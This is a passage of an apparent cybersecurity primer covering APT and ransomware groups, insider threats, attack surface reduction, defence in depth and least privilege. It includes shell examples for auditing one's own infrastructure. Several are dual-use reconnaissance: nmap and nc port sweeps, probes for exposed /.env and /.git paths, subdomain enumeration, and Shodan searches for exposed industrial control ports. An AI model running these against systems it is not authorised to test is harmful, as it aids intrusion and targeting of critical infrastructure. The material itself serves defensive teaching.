&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.2 Nation-State APT Groups
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;APT (Advanced Persistent Threat): sophisticated, long-term intrusion campaign

Key characteristics:
  Advanced: Custom tools, zero-days, sophisticated evasion
  Persistent: Maintain access for months or years
  Threat: Driven by specific geopolitical objectives

Documented APT Groups and Their Targeting:

APT29 (Cozy Bear) — Russia (SVR):
  Victims: SolarWinds (2020), DNC (2016), COVID-19 vaccine research
  TTPs: Supply chain compromise, password spraying, phishing, living-off-the-land
  Attribution: US/UK government official attributions

APT28 (Fancy Bear) — Russia (GRU):
  Victims: DNC (2016), World Anti-Doping Agency, Ukrainian infrastructure
  TTPs: Spear phishing, credential harvesting, destructive malware (NotPetya supply chain)

Sandworm — Russia (GRU Unit 74455):
  Victims: Ukrainian power grid (2015, 2016), NotPetya (2017), Viasat satellite (2022)
  TTPs: Destructive malware (BlackEnergy, Industroyer, Cyclops Blink)
  OT Focus: Most advanced OT attack capability of any known threat actor

APT41 — China (dual espionage + financial crime):
  Victims: Healthcare, telecom, technology companies globally
  TTPs: Supply chain attacks, exploitation of public-facing apps, Cobalt Strike

Volt Typhoon — China (critical infrastructure pre-positioning):
  Victims: US water utilities, energy, transportation, communications
  TTPs: Living-off-the-land (LOLBins), no malware, use existing tools
  Goal: Pre-position for potential conflict, not active espionage
  2024: FBI and CISA disclosed Volt Typhoon compromised multiple critical infrastructure

Lazarus Group — North Korea (DPRK):
  Victims: Banks (SWIFT fraud), cryptocurrency exchanges, Sony Pictures
  TTPs: Spear phishing, supply chain attacks, custom malware
  Motivation: Financial (generates revenue for DPRK regime sanctions evasion)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.3 Ransomware Groups
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Evolution of Ransomware 2013-Present:

2013: CryptoLocker — first major ransomware, Bitcoin payments
2017: WannaCry (EternalBlue) — 200,000 victims, wormable
2017: NotPetya — disguised as ransomware, actually pure destructor
2019-present: Double extortion — encrypt AND steal data, threaten to publish
2020-present: Triple extortion — add DDoS as third pressure
2020-present: RaaS (Ransomware-as-a-Service) — operators rent to affiliates

Major active groups (as of 2024):
  LockBit 3.0: Most active RaaS, $91M+ collected from US victims alone
  BlackCat/ALPHV: Sophisticated, Rust-based ransomware, healthcare targets
  Cl0p: MOVEit (2023) — exploited zero-day to breach 2,000+ organisations
  Play: Used in attacks on Oakland CA (2023), publishing all data exfiltrated

Anatomy of a ransomware attack:
  Day 0:    Initial access (phishing, exposed RDP, VPN vulnerability)
  Day 1-7:  Lateral movement, privilege escalation
  Day 8-30: Data exfiltration (double extortion leverage)
  D-Day:    Ransomware deployment across all systems simultaneously

Why OT is increasingly targeted:
  Production downtime = immediate financial pressure
  Safety concerns add urgency to payment
  OT systems harder to restore from backup (specialist configuration)
  Example: Oldsmar Water Treatment (2021) — operator observed cursor moving
           Changed NaOH level from 111 ppm to 11,100 ppm (not ransomware
           but demonstrated OT attack surface)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.4 Insider Threats
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Insider threat categories:

Malicious Insider:
  Motivated: Financial gain (selling data/access), revenge, ideology
  Example: Capital One data breach (2019) — Paige Thompson, former AWS employee,
           exploited misconfigured WAF to steal 100M customer records
  Example: Edward Snowden — NSA contractor, exfiltrated classified documents

Negligent Insider (most common):
  No malicious intent but causes breaches through error or poor security practice
  Example: Clicking phishing links, using weak passwords, misconfiguring cloud storage
  Example: 2019 First American Financial — developer left 885 million records
           publicly accessible via URL manipulation

Compromised Insider:
  Legitimate employee whose credentials or account have been stolen
  The insider is a victim; their access enables the external attacker
  Example: Most APT campaigns involve compromised employee credentials at some point

Detection:
  User Entity and Behaviour Analytics (UEBA)
  DLP (Data Loss Prevention) monitoring
  Privileged Access Management (PAM) with session recording
  Anomaly detection: access at unusual hours, unusual data volumes, unusual destinations
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Threat intelligence and monitoring:&lt;/span&gt;

&lt;span class="c"&gt;# Check if your IPs appear in threat intelligence feeds:&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://www.abuseipdb.com/api/v2/check?ipAddress=8.8.8.8&amp;amp;maxAgeInDays=90"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Key: YOUR_API_KEY"&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Accept: application/json"&lt;/span&gt;

&lt;span class="c"&gt;# Query VirusTotal for indicator:&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://www.virustotal.com/api/v3/ip_addresses/8.8.8.8"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"x-apikey: YOUR_API_KEY"&lt;/span&gt; | python3 &lt;span class="nt"&gt;-m&lt;/span&gt; json.tool | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"malicious"&lt;/span&gt;

&lt;span class="c"&gt;# Check if domain is in threat intel:&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://www.virustotal.com/api/v3/domains/suspicious.com"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"x-apikey: YOUR_API_KEY"&lt;/span&gt;

&lt;span class="c"&gt;# MITRE ATT&amp;amp;CK correlation:&lt;/span&gt;
&lt;span class="c"&gt;# Navigate to attack.mitre.org&lt;/span&gt;
&lt;span class="c"&gt;# Each threat actor (APT group) has documented TTPs&lt;/span&gt;
&lt;span class="c"&gt;# Map your controls against their known techniques&lt;/span&gt;

&lt;span class="c"&gt;# Monitor for credential exposure (your organisation's credentials in breaches):&lt;/span&gt;
&lt;span class="c"&gt;# HaveIBeenPwned API:&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://haveibeenpwned.com/api/v3/breachedaccount/user@company.com"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"hibp-api-key: YOUR_KEY"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Threat intelligence changes your security strategy from reactive ("respond to what happened") to proactive ("prepare for what this specific threat actor will likely do next"). Nation-state APTs use living-off-the-land techniques — native OS tools — specifically to evade signature-based detection. Against them, behaviour-based detection and comprehensive logging are more effective than AV/EDR signatures alone.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  9. Attack Surface
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 Definition and Components
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Attack surface&lt;/strong&gt; is the sum of all points where an attacker could attempt to enter, extract data from, or cause harm to a system or organisation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack Surface Components:

Digital Attack Surface:
  Network: All exposed IP addresses, ports, protocols
  Application: Every input field, API endpoint, web page
  Credentials: All accounts that can authenticate to systems
  Code: Software vulnerabilities in every line of code
  Cloud: Misconfigured buckets, exposed APIs, IAM misconfigurations
  Email: Phishing entry point

Physical Attack Surface:
  USB ports on devices
  Physical server access
  Printed documents
  Hardware supply chain

Human Attack Surface (Social Engineering):
  Employees who can be phished, vished, or manipulated
  Help desk procedures that can be socially engineered
  Third-party vendors with access to your systems

Supply Chain Attack Surface:
  Software dependencies (npm packages, PyPI, NuGet)
  Build pipeline (SolarWinds model)
  Hardware manufacturers
  Managed service providers (MSPs) with administrative access
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.2 Attack Surface Reduction
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Principles of Attack Surface Reduction:

1. Eliminate what's not needed:
   Disable unused services and ports
   Remove unused accounts
   Remove unused software

2. Minimise exposure:
   Don't expose internal services externally
   Use VPN/private endpoints instead of public exposure

3. Harden what remains:
   Patch all remaining components
   Configure securely (disable defaults, apply hardening)

4. Monitor what you cannot eliminate:
   If you must expose something: monitor it intensively
   Log all access, alert on anomalies
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Attack surface discovery and reduction:&lt;/span&gt;

&lt;span class="c"&gt;# Map your external attack surface:&lt;/span&gt;
&lt;span class="c"&gt;# What IPs/domains do you own?&lt;/span&gt;
&lt;span class="c"&gt;# What services are exposed to internet?&lt;/span&gt;

&lt;span class="c"&gt;# External port scan of your own infrastructure:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; YOUR_PUBLIC_IP &lt;span class="nt"&gt;-oA&lt;/span&gt; external_scan

&lt;span class="c"&gt;# Find exposed admin interfaces:&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;port &lt;span class="k"&gt;in &lt;/span&gt;22 23 80 443 3389 5900 8080 8443 8888 9090&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;nc &lt;span class="nt"&gt;-zw&lt;/span&gt; 2 YOUR_PUBLIC_IP &lt;span class="nv"&gt;$port&lt;/span&gt; 2&amp;gt;/dev/null &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
        &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Port &lt;/span&gt;&lt;span class="nv"&gt;$port&lt;/span&gt;&lt;span class="s2"&gt;: EXPOSED to internet"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# Identify open cloud storage (if using AWS):&lt;/span&gt;
aws s3api list-buckets &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'Buckets[*].Name'&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; text | &lt;span class="se"&gt;\&lt;/span&gt;
    xargs &lt;span class="nt"&gt;-I&lt;/span&gt;&lt;span class="o"&gt;{}&lt;/span&gt; aws s3api get-bucket-acl &lt;span class="nt"&gt;--bucket&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt;
&lt;span class="c"&gt;# Look for "AllUsers" or "AuthenticatedUsers" = public bucket&lt;/span&gt;

&lt;span class="c"&gt;# Find shadow IT / unknown external assets:&lt;/span&gt;
&lt;span class="c"&gt;# Certificate transparency logs reveal all subdomains:&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://crt.sh/?q=%25.yourdomain.com&amp;amp;output=json"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import json,sys; [print(c['name_value']) for c in json.load(sys.stdin)]"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;

&lt;span class="c"&gt;# Subdomain enumeration:&lt;/span&gt;
subfinder &lt;span class="nt"&gt;-d&lt;/span&gt; yourdomain.com &lt;span class="nt"&gt;-silent&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; /tmp/subdomains.txt
&lt;span class="c"&gt;# Each subdomain = potential attack surface asset&lt;/span&gt;

&lt;span class="c"&gt;# Check for exposed sensitive paths:&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;path &lt;span class="k"&gt;in&lt;/span&gt; /.git /wp-admin /.env /phpinfo.php /server-status /actuator/health&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nv"&gt;code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"%{http_code}"&lt;/span&gt; &lt;span class="s2"&gt;"https://yourdomain.com&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$code&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s2"&gt;"404"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$code&lt;/span&gt;&lt;span class="s2"&gt;: https://yourdomain.com&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# Reduce local attack surface:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl list-unit-files &lt;span class="nt"&gt;--type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;service | &lt;span class="nb"&gt;grep &lt;/span&gt;enabled  &lt;span class="c"&gt;# Running services&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl disable service_not_needed                      &lt;span class="c"&gt;# Disable unnecessary&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ufw status                                                &lt;span class="c"&gt;# Firewall status&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ufw &lt;span class="nb"&gt;enable&lt;/span&gt;                                                &lt;span class="c"&gt;# Enable firewall&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ufw default deny incoming                                 &lt;span class="c"&gt;# Default deny&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ufw allow 22/tcp                                          &lt;span class="c"&gt;# Allow only needed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;OT Attack Surface:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OT attack surface has unique characteristics:

External exposure (should be minimal but often isn't):
  SCADA systems inadvertently connected to internet (Shodan shows thousands)
  Remote access VPN portals (vulnerable to VPN CVEs)
  Historian servers with dual-homed connections (IT + OT)

Internal attack surface:
  Engineering workstations (Windows, often unpatched, running SCADA software)
  HMI systems (Windows XP/7 — often cannot be upgraded, vendor lock-in)
  All Modbus/DNP3 devices accessible from control network (no auth)
  USB ports on PLCs and workstations (malware entry via USB)

Third-party attack surface:
  Vendor remote access (often direct into control network)
  VPN accounts for maintenance that persist after contract ends
  PLC programming software downloaded from vendor sites (supply chain)

Search exposed OT on Shodan:
  shodan search "port:502" (Modbus)
  shodan search "port:102" (S7comm — Siemens PLCs)
  shodan search "port:20000" (DNP3)
  shodan search "BACnet" port:47808

Attack surface reduction for OT:
  Network segmentation (Purdue Model zones)
  Eliminate all internet-facing OT components
  Remove all vendor remote access when not actively needed
  Disable USB ports on OT systems (Group Policy, physical blockers)
  Patch windows systems even if SCADA vendor hasn't validated
  (with proper change management and testing)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; You cannot secure what you don't know exists. The first step of attack surface management is discovering your complete surface — including shadow IT, forgotten assets, abandoned cloud resources, and third-party connections. Attackers discover your assets with the same tools (Shodan, certificate transparency, subdomain enumeration) — you should know your attack surface better than they do.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  10. Defence in Depth
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 The Concept
&lt;/h3&gt;

&lt;p&gt;Defence in Depth (DiD) is the principle of using multiple, overlapping security controls across different layers, so that failure of any single control does not result in complete compromise.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Defence &lt;span class="k"&gt;in &lt;/span&gt;Depth Model:

         Physical Security
              │
        Network Security
              │
         Host Security
              │
       Application Security
              │
         Data Security
              │
         User Security

Each layer:
  Provides controls that the layers above and below cannot
  Slows attacker progress &lt;span class="o"&gt;(&lt;/span&gt;forces lateral movement, privilege escalation&lt;span class="o"&gt;)&lt;/span&gt;
  Creates detection opportunities &lt;span class="o"&gt;(&lt;/span&gt;attacker behaviour visible at each layer&lt;span class="o"&gt;)&lt;/span&gt;
  Limits blast radius &lt;span class="k"&gt;if &lt;/span&gt;one layer fails
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.2 Layers in Practice
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Physical:
  Guards, access cards, cameras, biometrics
  Locked server rooms, equipment cages
  Cable locks, device tracking
  Attack stopped: prevents physical access to hardware

Network:
  Firewalls, IDS/IPS, network segmentation, DMZ
  VPN for remote access, NAC for device admission
  VLAN isolation, WAF for web applications
  Attack stopped: prevents lateral movement, limits blast radius

Host:
  OS hardening (CIS benchmarks, STIG)
  Antivirus/EDR, host-based firewall
  Patch management, FIM (file integrity monitoring)
  Disable unnecessary services
  Attack stopped: prevents malware execution, detects compromise

Application:
  Secure coding practices, SAST/DAST scanning
  Input validation, output encoding
  Authentication (MFA), session management
  WAF, API gateway
  Attack stopped: prevents SQL injection, XSS, authentication bypass

Data:
  Encryption at rest (AES-256), encryption in transit (TLS 1.3)
  DLP, data classification
  Backup and recovery
  Database activity monitoring
  Attack stopped: limits impact of breach, enables recovery

User:
  Security awareness training
  Phishing simulation
  Clear policies and procedures
  Background checks for privileged roles
  Attack stopped: reduces social engineering success rate
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.3 Castle Analogy and Its Limits
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Traditional security: Castle model
  Strong perimeter (moat, walls) = firewall
  "If they're inside, they're trusted"

  Problem: Once perimeter is breached, attacker has full castle

DiD improvement:
  Multiple walls (network segmentation)
  Guards inside (EDR, monitoring)
  Locked rooms (file permissions, encryption)
  Audit trails (comprehensive logging)

But even DiD has limits:
  All layers can be defeated in theory
  Complexity of DiD creates management overhead
  Layered controls must be monitored, not just deployed

Modern improvement: Zero Trust (see Section 13)
  Don't trust based on location
  Verify every access, every time
  Assume breach — hunt for threats already inside
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Verify defence-in-depth controls are in place:&lt;/span&gt;

&lt;span class="c"&gt;# Network layer check:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"ACCEPT&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;DROP&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;REJECT"&lt;/span&gt;  &lt;span class="c"&gt;# Active firewall rules&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;netstat &lt;span class="nt"&gt;-tulnp&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"0.0.0.0:"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"127.0.0.1"&lt;/span&gt;  &lt;span class="c"&gt;# Internet-exposed services&lt;/span&gt;

&lt;span class="c"&gt;# Host layer check:&lt;/span&gt;
which auditd &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl status auditd               &lt;span class="c"&gt;# Audit daemon&lt;/span&gt;
which aide &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; aide &lt;span class="nt"&gt;--check&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-5&lt;/span&gt;           &lt;span class="c"&gt;# File integrity&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl status fail2ban                              &lt;span class="c"&gt;# Brute force protection&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ufw status | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-5&lt;/span&gt;                                   &lt;span class="c"&gt;# Host firewall&lt;/span&gt;

&lt;span class="c"&gt;# Application layer check:&lt;/span&gt;
curl &lt;span class="nt"&gt;-sI&lt;/span&gt; https://target.com | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s2"&gt;"x-frame|content-security|hsts|x-content-type"&lt;/span&gt;
&lt;span class="c"&gt;# Missing headers = missing application-layer controls&lt;/span&gt;

&lt;span class="c"&gt;# Data layer check:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;cryptsetup status /dev/sda 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"type"&lt;/span&gt;   &lt;span class="c"&gt;# Disk encryption&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /etc/ssl/                                             &lt;span class="c"&gt;# Certificate management&lt;/span&gt;

&lt;span class="c"&gt;# Monitoring check (is there visibility at each layer?):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl status rsyslog                               &lt;span class="c"&gt;# Logging running?&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/rsyslog.d/&lt;span class="k"&gt;*&lt;/span&gt;.conf | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"@@"&lt;/span&gt;                      &lt;span class="c"&gt;# Remote syslog configured?&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  11. Least Privilege Principle
&lt;/h2&gt;

&lt;h3&gt;
  
  
  11.1 Definition
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Least Privilege:&lt;/strong&gt; Every user, process, and system should have only the minimum permissions required to perform their specific function — nothing more.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Principle in practice:

Not least privilege:
  Database administrator account used for everything:
    Running DB server → SYSTEM / root
    Backing up databases → full admin
    Reading application data → full admin

Least privilege applied:
  DB server process: runs as 'mysql' user (no shell, no login, only DB access)
  Backup account: read-only on backup directories only
  Application service account: SELECT on specific tables only
  DBA account: full admin, but only used from management workstation, 
               with MFA, and all actions logged
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.2 Why Least Privilege Matters — Real Impact
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WannaCry (2017) — Least Privilege Failure:
  Many infected machines ran as local Administrator
  Ransomware inherited full admin rights
  Encrypted ALL accessible files including network shares
  If processes ran as limited users: ransomware encrypts only that user's files
  Least privilege = contained blast radius

Pass-the-Hash / Mimikatz — Least Privilege Failure:
  If every machine has the same local administrator password:
  Compromise one machine → extract hash → use on all machines (PTH)

  Fix (Microsoft LAPS): 
  Unique, randomised local admin password per machine
  Stored in AD, accessible only to authorised admins

  Even better: disable local admin account entirely (CIS benchmark)

SolarWinds-type attacks:
  Build pipeline had excessive permissions
  Compromise of build system = ability to modify any software, sign it
  Least privilege: build system should not have production signing keys
  Production signing: isolated, hardware-backed, requires human approval
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.3 Just-in-Time (JIT) Privilege
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;JIT Privilege: escalate permissions only when needed, revoke immediately after

Traditional (persistent privilege):
  Admin has always-on domain admin rights
  Risk: if account compromised at any moment, attacker has domain admin

JIT (temporary privilege):
  Admin has limited standard user account normally
  To perform admin task: request elevated access via PAM (CyberArk, BeyondTrust)
  PAM grants temporary access (1 hour, specific system)
  PAM records the entire session
  Access revoked automatically after session

Benefits:
  Attacker who steals credentials gets no privilege (not currently elevated)
  All privileged actions are recorded (accountability)
  Unusual access requests are visible and auditable

Azure PIM (Privileged Identity Management):
  Users are "eligible" for roles but not permanently assigned
  To activate: request role, provide MFA, provide justification
  Role activates for configured duration (e.g., 8 hours max)
  All activations logged to Azure AD audit log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Implement and audit least privilege:&lt;/span&gt;

&lt;span class="c"&gt;# Audit Linux sudo privileges:&lt;/span&gt;
&lt;span class="nb"&gt;sudo cat&lt;/span&gt; /etc/sudoers | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^#&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;^$"&lt;/span&gt;
&lt;span class="nb"&gt;sudo cat&lt;/span&gt; /etc/sudoers.d/&lt;span class="k"&gt;*&lt;/span&gt;
&lt;span class="c"&gt;# Look for: ALL=(ALL) ALL or NOPASSWD: ALL — these are overprivileged&lt;/span&gt;

&lt;span class="c"&gt;# Check running services and their privilege level:&lt;/span&gt;
ps &lt;span class="nt"&gt;-eo&lt;/span&gt; user,pid,comm | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;span class="c"&gt;# Processes running as root that shouldn't be&lt;/span&gt;

&lt;span class="c"&gt;# Check for setuid/setgid binaries (potential privilege escalation):&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-2000&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^/proc&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;^/sys"&lt;/span&gt;
&lt;span class="c"&gt;# Non-standard SUID files = investigate&lt;/span&gt;

&lt;span class="c"&gt;# Check Windows local admins:&lt;/span&gt;
net localgroup administrators
&lt;span class="c"&gt;# Only IT service accounts and break-glass accounts should be here&lt;/span&gt;

&lt;span class="c"&gt;# Check Windows service account privileges:&lt;/span&gt;
sc qc service_name                    &lt;span class="c"&gt;# Check what account a service runs as&lt;/span&gt;
&lt;span class="c"&gt;# Services running as LocalSystem = highest risk if exploited&lt;/span&gt;

&lt;span class="c"&gt;# Implement principle via Linux capabilities (instead of full root):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;setcap cap_net_raw+eip /usr/bin/ping    &lt;span class="c"&gt;# ping only needs raw socket&lt;/span&gt;
